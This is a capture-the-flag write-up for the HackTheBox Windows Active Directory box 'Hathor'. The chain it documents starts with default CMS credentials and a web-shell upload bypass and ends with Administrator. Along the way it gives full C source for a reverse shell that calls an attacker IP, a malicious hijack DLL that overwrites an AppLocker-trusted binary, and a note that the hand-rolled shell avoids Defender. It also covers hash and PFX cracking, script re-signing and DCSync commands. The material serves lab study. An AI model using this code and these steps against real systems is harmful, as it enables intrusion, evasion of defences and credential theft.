HTB: Hathor Writeup

Hathor - HackTheBox Writeup

Machine Information

AttributeDetails
NameHathor
OSWindows
DifficultyInsane
PointsN/A
Release DateN/A
IP Address10.129.230.109
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Hathor is an Insane-difficulty Windows Active Directory box built around windcorp.htb. The front door is a mojoPortal CMS instance left on its default admin credentials, whose file manager can be abused to smuggle an ASPX web shell past the extension filter. From there the box escalates through a chain of AD-specific misconfigurations rather than a single memorable CVE: a leaked NTLM hash inside a password-auditing tool, Kerberos-only authentication (NTLM disabled domain-wide), a DLL-hijackable AutoIt automation pipeline, and finally an abandoned Administrator code-signing certificate sitting in a user’s Recycle Bin that unlocks an AppLocker-trusted path to a DCSync.

TL;DR: mojoPortal default creds (admin@admin.com:admin) → file-manager upload-as-.txt-then-copy-to-.aspx bypass → shell as windcorp\webGet-bADpasswords CSV leaks BeatriceMill’s NTLM hash → crack hash → Kerberos ticket (NTLM disabled) → overwrite share\scripts\7-zip64.dll (AutoIt DLL hijack) → shell as ginawild → recover Administrator code-signing PFX from ginawild’s Recycle Bin → crack PFX password → sign a malicious Get-bADpasswords.ps1 with the trusted cert → trigger DCSync via run.vbs → Administrator NT hash → Kerberos ticket → root.


Reconnaissance

Port Scanning

Terminal window
# Standard AD box triage: web front-end on 80, hostname exposed via IIS vhost handling
nmap -sC -sV -T4 -p- hathor.windcorp.htb

Results: Port 80 (IIS) hosting a “site under construction” mojoPortal CMS instance, plus the standard Active Directory service set (Kerberos/LDAP/SMB) consistent with the windcorp.htb domain. The hostname was added to /etc/hosts so the CMS’s virtual-host routing and later Kerberos SPNs would resolve correctly.

Service Enumeration

The web root revealed a mojoPortal CMS deployment. mojoPortal ships with a well-known set of default administrator credentials that are frequently left unchanged in test/lab deployments:

admin@admin.com : admin

Logging into /Admin with these credentials succeeded — the install had never been re-credentialed.

Vulnerability Assessment

  1. Default CMS admin credentials — full control of the mojoPortal admin panel, including its File Manager module.
  2. Extension-filtered but copy-bypassable upload — the File Manager blocks direct .aspx uploads but exposes a copy action that can retarget a file’s extension after upload.
  3. NTLM authentication disabled domain-wide — forces Kerberos-only auth for every subsequent lateral step.
  4. Writable AutoIt-loaded DLL on an SMB share — classic DLL hijack surface once a low-priv AD account is obtained.
  5. Administrator code-signing certificate abandoned in a user’s Recycle Bin — a fatal secret-hygiene failure that undermines the AppLocker publisher-trust model entirely.

Initial Foothold

Exploitation Path

mojoPortal’s File Manager is built on angular-filemanager, which drives a JSON REST API rather than simple form posts:

POST /fileservice?t=<fileSystemToken> # list/copy/rename/etc actions
POST /fileservice/fileupload # multipart file upload

Direct .aspx uploads are rejected by an extension whitelist, but the API’s copy action will happily duplicate an already-uploaded file under a new name — including a new extension. This is the same primitive documented in the public HTB writeup for this box (GUI-driven there; this solve drove it through the raw API):

  1. Upload a .aspx command-shell payload with a .txt extension — passes the filter.
  2. Issue a copy action against the API, targeting the same file with a .aspx name.
  3. The CMS writes the copy to disk under media/logos/, which IIS happily executes.
Terminal window
# Confirm the shell landed and is reachable
ls C:\inetpub\wwwroot\Data\Sites\1\media\logos\shell.aspx
## OUTPUT
C:\inetpub\wwwroot\Data\Sites\1\media\logos\shell.aspx

Hitting http://hathor.windcorp.htb/Data/Sites/1/media/logos/shell.aspx returned code execution as windcorp\web, running inside AppLocker/Constrained Language Mode — direct iwr/wget/Copy-Item transfers off-box were blocked by firewall egress rules, so all later tool transfers had to go back through the same mojoPortal upload primitive.

Enumerating the filesystem turned up a non-default password-auditing tool, C:\Get-bADpasswords, which had write_hash_to_logs enabled and had already logged an NTLM hash for the domain user BeatriceMill. NTLM authentication was disabled domain-wide (Kerberos pre-auth only), so credential validation had to go through a Kerberos ticket rather than pass-the-hash:

Terminal window
# Crack BeatriceMill's leaked NTLM hash offline
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt beatricemill.hash
# -> !!!!ilovegood17
Terminal window
# NTLM disabled domain-wide -> must request a real Kerberos TGT, not pass-the-hash
export KRB5_CONFIG=/etc/krb5.conf
impacket-getTGT WINDCORP.HTB/beatricemill:'!!!!ilovegood17' -dc-ip 10.129.230.109
export KRB5CCNAME=beatricemill.ccache

With a valid TGT, SMB access to a non-default share was possible. Inside share\scripts\ sat a set of AutoIt (.au3) automation scripts alongside 7-zip64.dll — and unlike the other files on the share, 7-zip64.dll was world-writable. AutoIt scripts periodically reload this DLL, giving a code-execution primitive as whatever account runs the AutoIt automation (ginawild, part of the ITDep group, which is write-owner of share\Bginfo64.exe).

Firewall rules blocked the AutoIt process from making outbound connections directly, so the DLL couldn’t reverse-shell on its own. Instead it was used to pivot into Bginfo64.exe — a binary ginawild owns and which AppLocker explicitly allows regardless of signature — and execute a real reverse-shell payload from there:

// rev.c - raw WinSock reverse shell, compiled with mingw for a clean (non-Defender-flagged) binary
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib,"ws2_32")
#define IP "10.10.15.180"
#define PORT 9001
int main(void){
WSADATA w; WSAStartup(MAKEWORD(2,2),&w);
SOCKET s;
struct sockaddr_in a;
a.sin_family=AF_INET; a.sin_port=htons(PORT);
a.sin_addr.s_addr=inet_addr(IP);
while(1){
s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
if(connect(s,(struct sockaddr*)&a,sizeof(a))==0) break;
closesocket(s); Sleep(3000);
}
STARTUPINFO si; ZeroMemory(&si,sizeof(si)); si.cb=sizeof(si);
si.dwFlags=STARTF_USESTDHANDLES;
si.hStdInput=(HANDLE)s; si.hStdOutput=(HANDLE)s; si.hStdError=(HANDLE)s;
PROCESS_INFORMATION pi;
char cmd[]="cmd.exe";
CreateProcess(NULL,cmd,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);
WaitForSingleObject(pi.hProcess,INFINITE);
return 0;
}
// 7-zip64.cpp - malicious DLL. DllMain fires on every AutoIt load.
// Takes ownership of Bginfo64.exe (AppLocker-trusted regardless of signer),
// overwrites it with our compiled rev.exe (delivered via mojoPortal as rev.txt
// since direct transfer is firewalled), then runs it.
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
system("cmd /c takeown /F c:\\share\\Bginfo64.exe");
system("cmd /c cacls c:\\share\\Bginfo64.exe /E /G ginawild:F");
system("cmd /c copy /Y \"C:\\inetpub\\wwwroot\\Data\\Sites\\1\\media\\logos\\rev.txt\" c:\\share\\Bginfo64.exe");
system("cmd /c c:\\share\\Bginfo64.exe");
break;
}
return TRUE;
}
Terminal window
# msfvenom payloads get flagged instantly by Defender - hand-rolled C compiles clean
x86_64-w64-mingw32-gcc rev.c -o rev.exe -lws2_32 -s
x86_64-w64-mingw32-gcc -shared -o 7-zip64.dll 7-zip64.cpp
# Deliver rev.exe through the mojoPortal upload primitive (firewall blocks direct pulls),
# then overwrite the world-writable DLL on the share via Kerberos-authenticated SMB
impacket-smbclient -k -no-pass WINDCORP.HTB/beatricemill@hathor.windcorp.htb -dc-ip 10.129.230.109
# use share
# cd scripts
# put 7-zip64.dll

A listener caught the callback once AutoIt reloaded the poisoned DLL:

listening on [any] 9001 ...
connect to [10.10.15.180] from (UNKNOWN) [10.129.230.109] 61205
Microsoft Windows [Version 10.0.20348.643]
c:\share>whoami
windcorp\ginawild
c:\share>type C:\Users\ginawild\Desktop\user.txt
<redacted>

Privilege Escalation

Recovering an Abandoned Administrator Code-Signing Certificate

With a shell as ginawild, the Recycle Bin turned up a leftover .pfx file:

c:\share>dir /s /b C:\$Recycle.Bin\*.pfx
C:\$Recycle.Bin\S-1-5-21-3783586571-2109290616-3725730865-2663\$RLYS3KF.pfx
Terminal window
# Copy the PFX to the SMB share, pull it over Kerberos-auth'd smbclient, then crack offline
copy "C:\$Recycle.Bin\S-1-5-21-3783586571-2109290616-3725730865-2663\$RLYS3KF.pfx" c:\share\cert.pfx
impacket-smbclient -k -no-pass WINDCORP.HTB/beatricemill@hathor.windcorp.htb -dc-ip 10.129.230.109
# get cert.pfx
pfx2john cert.pfx > cert.john
john --wordlist=/usr/share/wordlists/rockyou.txt cert.john
abceasyas123 (cert.pfx)
1 password hash cracked, 0 left
Terminal window
openssl pkcs12 -in cert.pfx -nokeys -clcerts -passin pass:abceasyas123 \
| openssl x509 -noout -subject -issuer -ext extendedKeyUsage
subject=DC=htb, DC=windcorp, CN=Users, CN=Administrator
issuer=DC=htb, DC=windcorp, CN=windcorp-HATHOR-CA-1
X509v3 Extended Key Usage:
Code Signing

This certificate belongs to Administrator and is scoped for Code Signing. On an AppLocker-hardened host with a publisher rule trusting anything signed by CN=Administrator, holding this private key is equivalent to holding a bypass for AppLocker’s script/executable restrictions — any file signed with it runs regardless of where it lives or who wrote it.

Weaponizing Get-bADpasswords.ps1 for a Signed DCSync

C:\get-bADpasswords\run.vbs was a signed trigger script that fires an eventcreate (Application log, Event ID 444, “Check passwords”) which a scheduled task watches for — and that task executes the signed Get-bADpasswords.ps1 in full PowerShell language mode. Since ginawild can write to Get-bADpasswords.ps1 and now holds the Administrator signing cert, the attack is:

  1. Import the recovered PFX into ginawild’s certificate store.
  2. Overwrite Get-bADpasswords.ps1 with a payload that calls DSInternals’ Get-ADReplAccount (a DCSync-class replication read) against the Administrator account.
  3. Re-sign the modified script with the Administrator cert.
  4. Trigger it via cscript run.vbs.
Terminal window
# Import the Administrator code-signing cert into ginawild's store
Import-PfxCertificate -FilePath C:\Windows\Temp\c.pfx `
-Password (ConvertTo-SecureString -String 'abceasyas123' -AsPlainText -Force) `
-CertStoreLocation Cert:\CurrentUser\My
Thumbprint Subject
---------- -------
204F12473FD6911584501215758270B25701D049 CN=Administrator, CN=Users, DC=windcorp, DC=htb

The box actively reset the writable DLL, the certificate store, and Get-bADpasswords.ps1 on a short cycle (roughly every 3–4 minutes), so the working payload had to be fully self-contained inside a single DLL trigger — re-import the cert, rewrite + sign the script, and fire run.vbs, all in one shot:

Terminal window
# inner.ps1 - executed via `powershell -enc <base64 UTF-16LE>` from the DLL's DllMain
Import-PfxCertificate -FilePath 'C:\$Recycle.Bin\S-1-5-21-3783586571-2109290616-3725730865-2663\$RLYS3KF.pfx' `
-Password (ConvertTo-SecureString -String 'abceasyas123' -AsPlainText -Force) -CertStoreLocation Cert:\CurrentUser\My
$f = 'C:\Get-bADpasswords\Get-bADpasswords.ps1'
Set-Content -Path $f -Value @(
"`$p='C:\Windows\Temp\out.txt'",
"Start-Transcript -Path `$p",
"Get-ADReplAccount -SamAccountName administrator -Server 'hathor.windcorp.htb'",
"Stop-Transcript",
"Copy-Item `$p C:\share\o.txt -Force", # ginawild can't write the web logos dir -> stage on the SMB share instead
"cmd /c icacls C:\share\o.txt /grant Everyone:R" # so beatricemill can pull it back over SMB
)
$c = Get-ChildItem Cert:\CurrentUser\My | Where-Object {$_.Subject -like '*Administrator*'} | Select-Object -First 1
Set-AuthenticodeSignature -FilePath $f -Certificate $c -HashAlgorithm SHA512
cscript //nologo C:\get-bADpasswords\run.vbs

Pulling the resulting transcript back over Kerberos-authenticated SMB as beatricemill yielded the DSInternals dump:

Terminal window
impacket-smbclient -k -no-pass WINDCORP.HTB/beatricemill@hathor.windcorp.htb -dc-ip 10.129.230.109
# use share
# get o.txt
DistinguishedName: CN=Administrator,CN=Users,DC=windcorp,DC=htb
SamAccountName: Administrator
Enabled: True
NTHash: <redacted>

Administrator via Pass-the-Hash-as-Kerberos

With the Administrator NT hash in hand (and NTLM still disabled), a Kerberos TGT was requested directly from the hash rather than a cleartext password:

Terminal window
# NTLM is disabled domain-wide, so pass-the-hash means requesting a Kerberos TGT with the hash
impacket-getTGT WINDCORP.HTB/administrator -hashes :<redacted> -dc-ip 10.129.230.109
export KRB5CCNAME=administrator.ccache
# Confirm access
impacket-smbclient -k -no-pass WINDCORP.HTB/administrator@hathor.windcorp.htb -dc-ip 10.129.230.109
# shares -> ADMIN$, C$, IPC$, NETLOGON, share, SYSVOL
Terminal window
# use C$
# cd Users\Administrator\Desktop
# get root.txt
-rw-rw-rw- 34 Sun Jul 19 15:18:41 2026 root.txt
=== ROOT.TXT ===
<redacted>

Attack Chain Summary

mojoPortal default creds (admin@admin.com:admin)
→ File Manager upload-as-.txt + copy-to-.aspx bypass
→ shell as windcorp\web
→ Get-bADpasswords CSV leaks BeatriceMill NTLM hash
→ crack hash (rockyou) → !!!!ilovegood17
→ Kerberos TGT (NTLM disabled domain-wide)
→ overwrite world-writable share\scripts\7-zip64.dll (AutoIt DLL hijack)
→ DLL hijacks trusted Bginfo64.exe path (AppLocker bypass) → shell as ginawild
→ recover Administrator code-signing PFX from ginawild's Recycle Bin
→ crack PFX (john/pfx2john) → abceasyas123
→ import cert, rewrite + sign Get-bADpasswords.ps1
→ trigger via run.vbs → signed DCSync (Get-ADReplAccount)
→ Administrator NT hash
→ Kerberos TGT as Administrator
→ C$ access → root.txt

Tools Used

ToolPurpose
nmapPort scanning / service discovery
mojoPortal File Manager (fileservice API)Upload + extension-bypass web shell delivery, all later tool transfers
x86_64-w64-mingw32-gccCross-compile clean (non-Defender-flagged) reverse shell and malicious DLL
impacket-getTGT / impacket-smbclientKerberos ticket requests and SMB access in an NTLM-disabled domain
john / pfx2johnCracking the leaked NTLM hash and the recovered PFX password
opensslInspecting the recovered certificate’s subject and Extended Key Usage
DSInternals (Get-ADReplAccount)DCSync-class credential replication once trusted-signed
tmuxPersistent interactive session over the reverse shell across box resets

Key Learnings

Techniques Practiced

  • CMS default-credential abuse and file-manager extension-filter bypass (upload .txt, copy-rename to .aspx)
  • Operating inside AppLocker + Constrained Language Mode constraints, including firewall-blocked outbound transfers
  • Kerberos-only environments: requesting TGTs from cracked passwords and directly from NT hashes (no NTLM fallback)
  • DLL hijacking a periodically-reloaded automation dependency (AutoIt) to pivot between low-priv AD accounts
  • Recovering “deleted” secrets from the Recycle Bin and cracking a PKCS#12 (PFX) password
  • Abusing an AppLocker publisher-trust rule by re-signing a script with a compromised code-signing certificate
  • Weaponizing DSInternals Get-ADReplAccount for a signed, trusted-context DCSync

Lessons Learned

  1. Default CMS installer credentials are still a viable initial-access vector in 2026 — mojoPortal’s admin panel was never re-credentialed.
  2. AppLocker and firewall egress rules raise the bar but don’t remove the attack surface — they just force living-off-the-land delivery (mojoPortal upload) instead of direct tool transfer.
  3. A single world-writable DLL in an otherwise-locked-down automation pipeline is enough to pivot accounts, even when the process that loads it can’t itself reach the internet.
  4. Deleting a sensitive file (a Recycle Bin PFX) does not scrub it from disk or from attacker reach over SMB — secure deletion requires more than the Recycle Bin.
  5. A code-signing certificate is a credential, not just a compliance artifact: whoever holds it inherits whatever trust AppLocker/publisher rules extend to its signer.
  6. Environments with active reset/cleanup cycles (this box reset the DLL, cert store, and script every few minutes) demand a fully self-contained payload — chain every dependent step (cert re-import, script rewrite, signing, trigger) into one atomic execution rather than relying on state surviving between actions.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HackTheBox Official Writeup — Hathor (Document No. D22.100.178, prepared by amra, machine author 4ndr34z) — used for explanatory context on AppLocker policy structure, the DLL-hijack rationale, and the DSInternals/Get-ADReplAccount DCSync mechanism. All IPs, credentials, hashes, and command output in this writeup are from this solve, not the official reference.